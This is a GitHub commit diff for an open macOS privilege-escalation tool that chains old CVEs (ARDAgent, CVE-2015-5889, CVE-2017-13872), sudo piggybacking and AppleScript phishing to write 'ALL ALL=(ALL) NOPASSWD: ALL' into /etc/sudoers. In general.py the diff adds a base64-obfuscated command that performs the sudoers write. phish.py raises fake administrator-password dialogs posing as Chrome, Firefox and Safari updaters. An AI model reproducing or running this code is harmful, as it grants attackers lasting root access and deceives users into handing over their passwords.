Skip to content

Commit 4aaa2a3

Browse files
committed
1.1.0
1 parent 1cf5fdf commit 4aaa2a3

File tree

15 files changed

+104
-25
lines changed

15 files changed

+104
-25
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,6 @@
11
*.pyc
22
__pycache__
3+
build/
4+
dist/
5+
.DS_Store
6+
*.spec

README.md

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
Tries to use various CVEs to gain sudo or root access. All exploits have an end goal of adding `ALL ALL=(ALL) NOPASSWD: ALL` to `/etc/sudoers` allowing any user to run `sudo` commands.
44

5-
![screenshot](screenshot.png)
5+
![screenshot](docs/screenshot.png)
66

77
## Exploits
88

@@ -11,10 +11,16 @@ Tries to use various CVEs to gain sudo or root access. All exploits have an end
1111
- CVE-2015-5889
1212
- CVE-2017-13872
1313
- AppleScript Dynamic Phishing
14-
- Sudo Piggyback [Link](https://www.n00py.io/2016/10/privilege-escalation-on-os-x-without-exploits/)
14+
- [Sudo Piggyback](https://www.n00py.io/2016/10/privilege-escalation-on-os-x-without-exploits/)
1515

1616
## Run
1717

1818
```bash
1919
python root.py
2020
```
21+
22+
## Dynamic Phishing
23+
24+
![phishing](docs/phishing.png)
25+
26+
![phishing_id](docs/phishing_id.png)

docs/phishing.png

72.4 KB
Loading

docs/phishing_id.png

69.5 KB
Loading

docs/screenshot.png

149 KB
Loading

exploits/__init__.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import glob
22
import os
33

4-
__all__ = [os.path.basename(f)[:-3]
5-
for f in glob.glob(os.path.join(os.path.dirname(__file__), "*.py")) if not f.endswith("__init__.py")]
4+
not_exploits = ["__init__.py", "general.py"]
5+
__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(os.path.dirname(
6+
__file__), "*.py")) if not f in not_exploits]

exploits/ardagent.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ def vulnerable(version):
1515
def run():
1616
"""runs exploit"""
1717
rand = random_string()
18-
payload = """osascript -e 'tell app "ARDAgent" to do shell script "{command}; echo {success}"'""".format(
19-
command=DEFAULT_COMMAND, success=rand)
18+
payload = """osascript <<END
19+
set command to "{command}; echo {success}"
20+
return tell app "ARDAgent" to do shell script command with prompt "{prompt}"
21+
END""".format(command=DEFAULT_COMMAND, success=rand)
2022
response = osascript(payload)
2123
return rand in response

exploits/general.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
from subprocess import PIPE, Popen
66
from xml.parsers.expat import ExpatError
77

8-
DEFAULT_COMMAND = "python " + os.getcwd() + "/run_as_sudo.py"
8+
DEFAULT_COMMAND = """python -c \\"$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtHSmhjMlUyTkM1aU5qUmtaV052WkdVb0oxcFhUbTlpZVVGcFVWVjRUVWxGUmsxVVJEQnZVVlY0VFV0VFFrOVVNVUpDVlRGT1dGSkViMmRSVlhoTlNXbEJLMUJwUVhaYVdGSnFURE5PTVZwSE9XeGpiazA5SnlrcERRcGxiSE5sT2lCd2NtbHVkQ2hpWVhObE5qUXVZalkwWkdWamIyUmxLQ2RXV0U1c1kybENjR041UW5WaU0xRm5ZMjA1ZG1SQlBUMG5LU2s9Jykp | base64 -D)\\" """
99

1010

1111
def random_string():
@@ -23,7 +23,7 @@ def default_browser():
2323
handlers = plist.get("LSHandlers")
2424
for handler in handlers:
2525
scheme = handler.get("LSHandlerURLScheme")
26-
if scheme and scheme == "https":
26+
if scheme and (scheme == "https" or scheme == "http"):
2727
return handler.get("LSHandlerRoleAll")
2828
return
2929

exploits/nopass.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ def vulnerable(version):
1515
def run():
1616
"""runs exploit"""
1717
rand = random_string()
18-
payload = """osascript -e 'do shell script "{command}; echo {success}" user name "root" password "" with administrator privileges'""".format(
19-
command=DEFAULT_COMMAND, success=rand)
18+
payload = """osascript <<END
19+
set command to "{command}; echo {success}"
20+
return do shell script command with prompt "{prompt}" user name "root" password "" with administrator privileges
21+
END""".format(command=DEFAULT_COMMAND, success=rand)
2022
response = osascript(payload)
2123
return rand in response

exploits/phish.py

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -11,28 +11,33 @@
1111

1212
BROWSERS = {
1313
"com.google.chrome": "Google Chrome Updater",
14-
"org.mozilla.firefox": "Firefox Updater"
14+
"org.mozilla.firefox": "Firefox Updater",
15+
"com.apple.safari": "Safari Update"
1516
}
1617

1718

1819
def admin_prompt(app=None, prompt="System Update", command="echo hello"):
1920
"""prompts with administrator privileges"""
2021
rand = random_string()
2122
if app:
22-
payload = """osascript -e 'tell app "{app}" to activate' -e 'tell application "{app}" to do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format(
23-
app=app, prompt=prompt, command=command, success=rand)
23+
payload = """osascript <<END
24+
set command to "{command}; echo {success}"
25+
tell app "{app}" to activate
26+
return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
27+
END""".format(app=app, prompt=prompt, command=command, success=rand)
2428
else:
25-
payload = """osascript -e 'do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format(
26-
prompt=prompt, command=command, success=rand)
27-
print("Prompting: " + prompt)
29+
payload = """osascript <<END
30+
set command to "{command}; echo {success}"
31+
return do shell script command with prompt "{prompt}" with administrator privileges
32+
END""".format(prompt=prompt, command=command, success=rand)
33+
print("\nPrompting: " + prompt)
2834
response = osascript(payload)
29-
print(response)
3035
return rand in response
3136

3237

3338
def vulnerable(version):
3439
"""checks vulnerability"""
35-
return "y" == input("[USER INTERACTION] Do you want to try to phish for sudo? (y/N): ")[0].lower()
40+
return "y" == input("\n[USER INTERACTION] Do you want to try to phish for sudo? (y/N): ")[0].lower()
3641

3742

3843
def run():

0 commit comments

Comments
 (0)